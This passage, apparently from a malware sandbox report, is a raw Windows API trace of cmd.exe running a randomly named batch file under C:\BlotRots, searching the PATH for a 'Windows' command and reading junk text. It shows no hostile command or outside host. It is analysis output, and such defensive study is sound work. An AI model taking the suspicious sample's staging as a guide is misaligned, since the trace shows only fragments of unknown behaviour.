FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.701] GetLastError () returned 0x2 [0162.701] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.701] GetLastError () returned 0x2 [0162.701] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.701] GetLastError () returned 0x2 [0162.701] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.701] GetLastError () returned 0x2 [0162.701] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.702] GetLastError () returned 0x2 [0162.702] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.702] GetLastError () returned 0x2 [0162.702] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.702] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.702] GetLastError () returned 0x2 [0162.702] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.702] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.702] GetLastError () returned 0x2 [0162.702] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.702] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.703] GetLastError () returned 0x2 [0162.703] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.703] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.703] GetLastError () returned 0x2 [0162.703] ??_V@YAXPEAX@Z () returned 0x1 [0162.703] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.703] GetFileType (hFile=0x54) returned 0x2 [0162.703] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.703] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.704] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.704] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.705] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.705] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.705] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.710] ??_V@YAXPEAX@Z () returned 0x1 [0162.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.711] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.711] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.711] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.711] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.711] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.711] SetConsoleInputExeNameW () returned 0x1 [0162.711] GetConsoleOutputCP () returned 0x1b5 [0162.712] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.712] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.713] ??_V@YAXPEAX@Z () returned 0x1 [0162.714] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.714] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.714] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.714] SetFilePointer (in: hFile=0x94, lDistanceToMove=1607, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x647 [0162.714] GetProcessHeap () returned 0x20b0f920000 [0162.714] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.714] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957da0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.715] GetProcessHeap () returned 0x20b0f920000 [0162.715] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.716] GetProcessHeap () returned 0x20b0f920000 [0162.716] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.716] GetProcessHeap () returned 0x20b0f920000 [0162.716] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.716] GetProcessHeap () returned 0x20b0f920000 [0162.716] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.717] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.717] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x647 [0162.717] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x116e, lpOverlapped=0x0) returned 1 [0162.717] SetFilePointer (in: hFile=0x94, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0162.717] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0162.717] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.717] GetFileType (hFile=0x94) returned 0x1 [0162.717] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.717] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0162.717] GetProcessHeap () returned 0x20b0f920000 [0162.717] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.718] GetProcessHeap () returned 0x20b0f920000 [0162.718] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.718] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.718] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.718] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.718] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.718] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.718] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.718] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.718] GetProcessHeap () returned 0x20b0f920000 [0162.718] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.718] GetProcessHeap () returned 0x20b0f920000 [0162.718] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.718] GetProcessHeap () returned 0x20b0f920000 [0162.718] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xaa) returned 0x20b0f92cb10 [0162.718] _tell (_FileHandle=3) returned 1698 [0162.718] _close (_FileHandle=3) returned 0 [0162.719] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.719] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.719] GetFileType (hFile=0x50) returned 0x2 [0162.719] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.719] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.719] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.719] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.724] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.724] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.725] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.725] GetFileType (hFile=0x50) returned 0x2 [0162.725] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.725] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.725] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.725] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.725] GetFileType (hFile=0x50) returned 0x2 [0162.725] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.726] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.726] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.726] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.726] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 77 [0162.726] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.726] GetFileType (hFile=0x50) returned 0x2 [0162.726] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.726] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.727] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4d, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4d) returned 1 [0162.727] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.727] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.727] GetFileType (hFile=0x50) returned 0x2 [0162.727] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.727] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.728] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.728] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.733] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.733] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.734] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.734] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.734] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.734] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.734] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.734] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.734] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.734] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.734] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.734] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.734] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.734] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.734] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.734] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.734] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.734] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.734] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.734] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.734] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.734] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.734] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.734] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.734] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.734] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.735] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.735] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.735] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.735] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.735] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.735] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.735] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.735] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.735] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.735] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.735] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.735] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.735] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.735] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.735] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.735] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.735] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.736] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.736] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.736] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.737] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.737] GetProcessHeap () returned 0x20b0f920000 [0162.737] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.740] SetErrorMode (uMode=0x0) returned 0x0 [0162.740] SetErrorMode (uMode=0x1) returned 0x0 [0162.740] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.740] SetErrorMode (uMode=0x0) returned 0x1 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.740] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.740] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.740] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.740] GetProcessHeap () returned 0x20b0f920000 [0162.740] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.740] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92ce50 [0162.741] FindClose (in: hFindFile=0x20b0f92ce50 | out: hFindFile=0x20b0f92ce50) returned 1 [0162.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.741] GetLastError () returned 0x2 [0162.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.741] GetLastError () returned 0x2 [0162.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.741] GetLastError () returned 0x2 [0162.741] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.741] GetLastError () returned 0x2 [0162.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.742] GetLastError () returned 0x2 [0162.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.742] GetLastError () returned 0x2 [0162.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.742] GetLastError () returned 0x2 [0162.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.742] GetLastError () returned 0x2 [0162.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.742] GetLastError () returned 0x2 [0162.742] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.743] GetLastError () returned 0x2 [0162.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.743] GetLastError () returned 0x2 [0162.743] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.743] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.743] GetLastError () returned 0x2 [0162.743] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cd90 [0162.743] FindClose (in: hFindFile=0x20b0f92cd90 | out: hFindFile=0x20b0f92cd90) returned 1 [0162.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.743] GetLastError () returned 0x2 [0162.743] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.744] GetLastError () returned 0x2 [0162.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.744] GetLastError () returned 0x2 [0162.744] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, 